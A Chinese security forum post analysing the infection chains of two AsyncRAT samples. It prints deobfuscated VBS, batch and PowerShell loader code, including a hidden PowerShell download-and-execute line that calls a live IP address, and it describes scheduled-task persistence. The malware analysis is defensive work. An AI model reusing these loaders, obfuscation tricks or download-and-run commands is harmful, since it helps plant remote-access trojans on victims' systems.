记一次RAT的感染过程详细分析
downn 发表于 广东 二进制安全 280浏览 · 2024-12-01 15:10

前言

AsyncRAT是远控木马的一种,旨在秘密渗透系统并让攻击者远程控制受感染的设备。这是俩个类似的样本的感染过程分析。

样本一

样本一是一个txt文件,实际上是经过混淆的VBS脚本

它先是定义了一些变量,存储代码中使用的文本部分。

紧接着下载了一个jpg文件并将其保存为zip,掩盖自身。

对代码进行解混淆:

Set FileSystemObject = CreateObject("Scripting.FileSystemObject")
Set XMLFile = FileSystemObject.CreateTextFile("C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.Xml", True)

XMLFile.Write FileContent
XMLFile.Close

这里将内容保存到位于 C:\Users\Public 目录中的 XML 文件中。

IScriptObj.Run "powershell .command "" 
    [xml]$eksdmocc = Get-Content 'C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml'; 
    $bjarrrrrrrrrrrrrrrwio = $eksdmocc.command.a.execute; 
    Invoke-Expression $bjarrrrrrrrrrrrrrrwio""", @, True

FileSystemObject.DeleteFile "C:\Users\Public\OMjRRRRRRRRRRRRRRRRRRRRVbK.xml"

执行XML文件的内容并将其删除。

总的来说,VBS 脚本在 C:\Users\Public 目录下创建了一个名为 OMjRRRRRRRRRRRRRRRRRRRRvbK.xml 的 XML 文件。该 XML 文件包含一个 PowerShell 脚本,该脚本的功能是下载伪装成 JPG 文件的恶意文件,并将其保存到相同目录。下载后,文件会被解压到该目录下。

解压过程完成后,脚本会继续执行另一个名为 TesKKKeLAvaYdAfbBS.vbs 的 VBS 脚本。最后,脚本会删除之前创建的 XML 文件和 ZIP 文件,以清理痕迹。

VBS文件

vbs脚本也经过混淆,如下:

On Error Resume Next

Dim WeeeeeeeeeeeSSSSSSSStlt
Dim DDoooooooooooooooooeet
Dim NOoooooooooooooooooeerf
Dim Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg

Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg = "pt."
Dim BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF

BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF = "cri" + Pppppppppppppppppppppppeeeeeeeeeeeeeeeeeeeeeeeeeqrrrg + "Sh"
DDoooooooooooooooooeet = False

Set WeeeeeeeeeeeSSSSSSSStlt = CreateObject("WS" + BqqqqqeeREFFFFFFFFFFFFFFFFFFFFFFF + "ell")
Dim BrttttttttttttttttttttUUUUUUUUUUUsd

BrttttttttttttttttttttUUUUUUUUUUUsd = "net session"
NOoooooooooooooooooeerf = WeeeeeeeeeeeSSSSSSSStlt.Run(BrttttttttttttttttttttUUUUUUUUUUUsd, 0, True)

If NOoooooooooooooooooeerf = 0 Then
    DDoooooooooooooooooeet = True
End If

Dim gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP
gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP = "C:\Us"

Dim bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW
bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW = "ers\Pub"

Dim MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc
MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc = "licKKKKKKKIIlavTO000tesAA.b"

Dim gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn
gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn = gQ00qQpPPPPPPPPPPPPPPPPPPPPPPPP + bQQqqqqqqqqqqqqqqqqqWWWWWWWWWWVVVVVVVVVVVVWWWWWWWWWWWW + MMMYYYYYYYYYYYYYYYYYYYYYYYYYYYYYc + "at"

If DDoooooooooooooooooeet Then
    WeeeeeeeeeeeSSSSSSSStlt.Run gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn, 0
Else
    WeeeeeeeeeeeSSSSSSSStlt.Run gWBBBBBBBBBBBBBBBBBBnnnnnnnnnnnnnnnnn, 0
End If

On Error GoTo 0

它使用随机的变量名,字符串是拼接而成的,例如 CreateObjectRun 的参数。最后面无论 lF 语句的结果是 True 还是 False,都执行代码,这混淆逻辑,可能是为了绕过检测。

做一点简单的解混淆,替换和拼接,可以得到:

On Error Resume Next

Set CreateObj = CreateObject("WScript.Shell")
Dim RunFileBat

RunFileBat = "C:\Users\Public\KKKKKKllLavI00000tesAA.bat"
CreateObj.Run RunFileBat, 0

On Error GoTo 0

看得出,通过WScript.Shell运行了一个批处理文件。

Bat文件

批处理文件如下:

@echo off

set "LYZVPSNUISRELUGJ=po"
set "ZMWTJAXWOEUPRUNW=er"
set "DVTEJPVRHWUSRHB=-No"
set "GVXDOLJASUBLCBLH=Pro"
set "UXXZFHNCQPFNMWIL=file"
set "XHAEYWNOCITDSRZON=-Window"
set "UMCMEVCWMNBPIXJ=Style"
set "FYVFBPJKZUUPFYKQX=Hidden"
set "ACIDVUWCFHMCRMFN=-Execution"
set "POBYVCRPDLLBHLYZI=Policy"
set "ACRPOQSHORJTUYKS=Bypass"
set "VGYOGJVSJWJKZCHS=C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1"

set "FULLCOMMAND=%LYZVPSNUISRELUGJ%%ZMWTJAXWOEUPRUNW%%DVTEJPVRHWUSRHB%%GVXDOLJASUBLCBLH%%UXXZFHNCQPFNMWIL% %XHAEYWNOCITDSRZON%%UMCMEVCWMNBPIXJ% %FYVFBPJKZUUPFYKQX% %ACIDVUWCFHMCRMFN%%POBYVCRPDLLBHLYZI% %ACRPOQSHORJTUYKS% -Command "& '%VGYOGJVSJWJKZCHS%'"" 

powershell.exe %FULLCOMMAND%

exit /b

也是经过随机变量名和拼接组成字符串,之后调用 powershell.exe 执行拼接后的 PowerShell 命令。

命令:

powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass C:\Users\Public\KKguLavTEsaaEtneeNARdeP.ps1

此命令试图静默执行 KKguLavTEsaaEtneeNARdeP.ps1-ExecutionPolicy Bypass绕过系统执行策略限制,直接运行脚本。

ps1

最后一步是通过更改变量名来使代码更难解释,从而达到混淆的目的。他们没有给变量起一个直接的名字,而是把单词拆分成几个部分,把它们混合起来,然后调用每个位置来重构变量名。

Set-Variable B2Nyu [Type](CoNVERt);

try {
    function PARSer {
        param ($pIpE)

        Set-Variable -Name pipe -Value $pIpE -split ' ' | &('?') {$_}

        foreach ($cHuNK in $pIpE) {
            B2Nyu.ToInt32.Invoke($cHuNK, 16)
        }
    }
}

这部分是一个接收字符串并将其从十六进制转换为32 位整数的函数。

接着定义了包含两个带有大字符串的变量。两个字符串都使用替换函数来检索正确的值,然后将其发送到“PARSer”进行进一步处理。最后一部分只是将文件加载到内存中并执行它们。

使用Cyberchef:

第一个变量是一个DLL文件。

第二个变量是一个exe文件。

样本二

样本二包含一个txt文件和一个jpg文件。txt实际上是一个经过混淆的vbs脚本。

将其解混淆后得到:

Dim var

var = "[BYTe[]]:5A123=TeXt(NEW-OBJeCTNeT.W;$8456='eBClIEnt').DOWNLO[BYTe[]]:SC789='http://23.26.108.141:888/zohre.jpg'').RePLACE('VAN','ADSTRING');[BYTe[]].TeXt($A123+$8456+$C789)"

Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /C POWERSHELL.exe -NOP -WIND HIDDEN -eXec BYPASS -NONI -& var", 0, True
Set objShell = Nothing

变量 var 包含一段复杂的字符串。似乎是使用 Base64 编码或其他文本处理技术拼接一个 PowerShell 脚本。通过 [BYTe[]].TeXt(),以及变量 $A123, $8456, $C789,完成字符串拼接。URL http://23.26.108.141:888/zohre.jpg 被隐藏其中。

实际上下载了一个恶意文件 zohre.jpg,jpg文件也是是一个伪装的ps脚本。

PowerShell 文件执行两个主要功能:

  1. 文件创建和内容写入:创建感染过程所必需的三个文件

  2. 计划任务设置:安排任务以确保重复执行,从而维持 AsyncRAT 感染

文件创建

第一个文件

ps脚本用了一个超大的存储与 AsyncRat 相关的 EXE 和 DLL 的变量。它会在 roox.ps1 中创建并存储内容。

清理文件后,它会从两个变量中删除“%&%”,将它们从十六进制转换为十六进制,然后加载到内存中并执行。

使用cyberchef解码:

可以得到一个exe文件和dll文件。

第二个文件

第二个文件触发 PowerShell 执行前一个文件(roox.ps1)。

第三个文件

最后一个文件运行前一个文件roox.bat,同时对受害者隐藏执行过程。这确保感染过程保持不可见,并最大限度地减少任何可见指标,使受害者更难检测到正在进行的活动。

创建一个计划任务,该任务每隔 2 分钟运行一次指定的脚本文件(C:\Users\Public\roox.vbs)

0 条评论
某人
表情
可输入 255